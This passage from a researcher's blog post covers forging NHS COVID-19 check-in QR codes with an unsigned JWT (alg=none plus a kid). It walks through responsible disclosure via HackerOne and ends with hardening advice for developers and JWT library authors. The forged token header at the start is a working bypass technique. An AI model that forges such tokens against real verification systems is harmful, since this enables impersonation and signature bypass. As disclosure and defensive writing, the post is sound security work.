{
  "alg": "none",
  "typ": "JWT",
  "kid": "dFr_VktyQbzGnc7oHcxhr0pjK1htAkkH3TYzoAgxzk0"
}

And try again:

> Task :run

BUILD SUCCESSFUL in 1s

Great! Now the only thing left to do is to turn this into an actual QR code.

The Grand Finale

There are lots of ways to create QR codes, but the easiest way I know of is via the Google Chart API (I know, I know, ideally you wouldn’t use online sites for any data you’re handling while working on security… but I trust Google not to leak this or steal the exploit and my thunder):

A web browser displaying half of a QR code

Scan the QR code in the official NHS app, and…

A screenshot of a mobile phone app: Green check mark. Title: Successful check-in. Large text: Barnard Castle Eye Testing Facility. Smaller test: 30 Sep 2020, 12:53. Thank you for scanning. You have now checked in! You'll be automatically checked out at midnight or when you scan another official NHS QR code. Button: Back to home. Link: Cancel this check-in.

Well, there we have it. I’m not sure what use this vulnerability is, to be quite honest; I don’t know the reasons why these QR codes are signed, and I can’t think of much that I can do by forging them. They are, though, and they presumably had a good reason to do so, so it feels pretty good to bypass that – even if all I get out of it is a silly check-in screenshot.

Epilogue: Reporting the Issue

I reported the issue via their HackerOne page and got a response the very next day, confirming that it was a real issue, and that they were working on a patch. This was great to see, less than one day to reproduce and confirm is a great turn-around in my experience.

4 days after that (so 5 days after the initial report) they confirmed they had a fix and it was being released. Again, that’s a great turn-around time for a relatively low-importance issue in my experience. As someone who is usually on the other side of these discussions, I know only too well how complex it can be to verify, patch, and ship!

Once they confirmed they were shipping a fix I began the conversation about disclosure (it’s nice to wait until the issue is sorted). The people I spoke to on the NHS team were enthusiastically in favour of a write-up, which is the sort of transparency it’s really nice to see! They’re also writing a blog post about their side of the experience, which I’ll add a link to once it’s published.

Overall the process of reporting it was very enjoyable. I was a little wary engaging with the public sector, who can sometimes be a little behind the times – would they even know about ethical hacking, or was I about to have an extremely tense conversation with a branch of my own government? But my doubts were completely unfounded and their process put most peoples’, private or public sector, to shame.

Some take-aways from what made their disclosure program work well that you can apply to your own:

  • Explicit information on the contact page: It was really reassuring to see not just generic “contact us for technical help” but an explicit call-out for reporting vulnerabilities, and where to do it. This immediately gave me confidence my report would be received in good faith, and I wasn’t going to get screamed at for being a hacker.
  • Consistent expectation-setting: At every stage of reporting, it was made clear what was needed, what would happen, and how long it would take, starting with the bot that auto-responds to all new reports giving an expected timeline for triage.
  • Dedication to transparency: it’s fun to be able to tell the world when you find a vulnerability, but not everyone running a disclosure program is supportive of that. Being able to blog / tweet / TikTok your findings is a big incentive for researchers like me to spend our free time finding bugs and reporting them, so being actively encouraging of that might bring in more reports.
  • Thanks: It’s a small thing, but every member of the team I spoke to thanked me for taking time to look at the app and to report my findings. Thanking people is free and it makes them feel good!

After all this, there’s only one thing left to do… it’s time to reset the counter.

Appendix I: Take-Aways for Developers

I have nothing to say on the topic of JWTs that hasn’t already been said. A fair summary of the literature would be: never use JWTs.

This case is a great example. The QR codes are created by a server and scanned by an app owned by the same organisation. They do not need to be inter-operable, so the only genuine benefit of JWTs – interoperability – is not valuable here. An ad-hoc scheme to sign and verify the data would work just fine.

Writing the code to sign data with a private key and verify it with a public key would have been easier to get correct than correctly invoking the JWT library. In fact, the iOS app (which gets this right) doesn’t use a JWT library at all, but manages to verify using a public key in fewer lines of code than the Android app takes to incorrectly use a JWT library!

If you’re wondering how to get public-key signature verification right, use NaCl (or Libsodium, or its bindings in your language).

On top of the signing being hard to get right with JWTs, because JWTs use inefficient encoding, the choice to use JWTs is making the QR codes more complex and therefore harder to scan. There’s no apparent reason to use JWTs here, and many reasons not to.

(Incidentally, that article also argues that the signatures are a waste of space – I don’t know if they are or aren’t, I can think of several plausible reasons you would want to sign these tokens despite the arguments made there. But maybe there are! Sometimes developers pick JWT as a default without really thinking if signatures are even necessary.)

Now that we’ve covered the abstinence-only education, what should you do if you absolutely positively must use JWTs?

First of all, be absolutely sure you don’t accept alg=none AND TEST IT. JWT libraries are not working in your favour, here. Code that looks good, or even looks like is it explicitly enforcing an algorithm or key, might not be. The only way to be sure is to test, test, test. Make sure your testing is adversarial and you try various combinations of algorithms and keys (or no keys! Or empty keys!), even combinations that don’t make sense.

Lastly, as a general principle, try to test all invariants for an input data structure at the same time, in the same place. Don’t check one way that the algorithm is set, and then check in a different way which key was used. If you leverage your JWT library to do both those checks, it has a better chance of spotting the inconsistency. The issue here (other than the terrible, no-good, impossible to use correctly JWT library, that is) essentially boils down to one piece of code (in the app) checking there is a signature one way, and another piece of code (in the JWT library) checking for the signature a different way. The disagreement between these two checks is the gap in enforcing the signature that my forged JWT slips through.

Appendix II: Take-Aways for JWT Library Authors & the InfoSec Community in General

JWT library authors: we need to have a talk. You seem to have forgotten the point of writing a library, which isn’t to promote your security company or to rack up Github stars like you’re playing Mario Sunshine.

The point of a library is to make doing something easier.

Why does this even need to be said?

How has this library failed its users so catastrophically?

This is a case where a competent engineering team (I’ve read enough of their code - they know what they’re doing) sat down, apparently aware of the pitfalls of JWTs, and tried to avoid them. They set the algorithm, they required a key. They knew these things about the underlying thing they were doing – far more than users of a library should need to know in order to use it safely – and yet they still shot themselves in the foot. How do people who don’t know these things stand a chance?

And if your library isn’t helping users to do the right thing then why does it even exist?

Why was a JWT with alg=none and kid set not rejected out of hand for being obviously ridiculous?

Why does this library have over a dozen different requirements that can be set for accepting JWTs, such as requiring a particular issuer, or expiry date, but 0 ways to require that the key is actually signed – without which all the other requirements are completely pointless?

Why does this library have 6 different methods for parsing JWTs, with confusing names, ambiguous and at times actively misleading documentation as to which method should be used, and the most obvious method to pick is the wrong one?

Why is the method to accept unsigned JWTs called parse, which would easily escape a casual code review, instead of something more obviously wrong like parseAnUnsignedJWTNoReallyThisIsDangerousDontUseIt?

Why is the method to accept unsigned JWTs, a feature nearly never needed in production, in the default namespace alongside the real parsing functions?

In short, why is it easier for your users to do the wrong thing, and harder for them to do the right thing?

This library is so bad that that same team, writing the code for the iOS app themselves to verify the signature – you know, the thing cryptographers and security engineers tell developers not to do, use a library instead – did a better job than when they used your library. I don’t know if their cryptography code is 100% correct, but it sure as hell won’t accept an alg=none token.

A lot has been written about how the terrible design-by-commmitee kitchen sink approach of the JWT spec makes it hard to make good JWT implementations, but this isn’t even that. These are unforced errors, that even a basic understanding of human-factor design would have avoided.

Do better.

If you do work on a JWT library, here’s some table stakes for it at least being easier to use your library than to write the words P256.Signing.ECDSASignature in code:

  • Make it easy to use the right functions (check signature) and harder – much harder – to use the wrong ones (accept no signature / invalid signature / alg=none).
  • Accepting alg=none or unsigned tokens should require significant extra effort on the developer’s part, and should leave warning signs in code that can be spotted from 12 feet away in code review.
  • Make it easier to lock JWTs to just one alg and key. It’s a really common use-case, but really hard to enforce when using many JWT libraries.
  • Reject nonsensical combinations. A JWT with alg=none and kid specified doesn’t make sense.
  • Docs should be a last resort to steering developers to doing the right thing, as most of them will pick the first suggested function in their IDE that actually works and call it a day, but: your docs should still be good. They should be unambiguous. Test that when people read them, they come away with the right conclusions and not literally the exact opposite.

For the InfoSec community specifically, I want to say: our message on JWTs isn’t landing. JWTs had no technical benefit here, made the QR codes larger, were harder to use (even not counting using correctly – look at how many LoC were needed to parse a JWT!), and yet still got picked. We need to figure out what magical marketing juice JWTs are using and how we can replicate that for libsodium and/or Paseto. This should be a slam-dunk for us – UX and security are aligned for once! – and it’s embarassing that we cannot win this battle.

See you the next time this happens.

Acknowldgements

Thank you to Agnieszka, NeoThermic, and Edward Drapkin for reviewing drafts of this post.

Thank you also to everyone on the NHS team who I spoke with, you were all friendly and lovely and I had a great time reporting this bug!